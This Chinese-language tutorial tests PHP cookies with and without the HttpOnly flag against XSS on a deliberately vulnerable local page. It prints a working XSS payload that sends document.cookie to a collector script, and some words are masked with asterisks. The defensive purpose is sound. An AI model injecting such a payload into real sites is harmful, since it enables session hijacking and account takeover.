cookie設置httponly屬性防禦XSS***

***者利用XSS漏洞獲取cookie或者session劫持，若是這裏麪包含了大量敏感信息（身份信息，管理員信息）等，***這裏用獲取的COOKIE登錄帳號，並進行非法操做。

COOKIE設置httponly屬性能夠化解XSS漏洞***帶來的竊取cookie的危害。

PHP中COOKIE設置方法：

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

最後一個字段false是爲不設置httponly屬性，true爲已設置httponly屬性。

測試內容：

本次測試環境，搭建一個包含XSS漏洞的php環境。

地址：http://localhost/home.php

如圖所示：

存在xss漏洞，獲取cookie的代碼爲：

<script>document.location = 'http://localhost/cookie_collect.php?cookie=' + document.cookie;</script>

獲取COOKIE的頁面爲：http://localhost/cookie_collect.php

如圖所示：

測試01

未設置httponly屬性，cookie設置爲：

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, false);

?>

測試結果：

獲取到cookie的內容，如圖所示：

訪問日誌內容爲：

測試結果：利用跨站漏洞能夠獲取cookie內容。

測試02

設置httponly屬性，cookie設置爲：

<?php 

 setcookie("xsstest", "xsstest", time()+3600, "/", "", false, true);

?>

測試結果：

未獲取到cookie的內容，如圖所示：

訪問日誌內容爲：

測試結果：利用跨站漏洞不可以獲取cookie內容。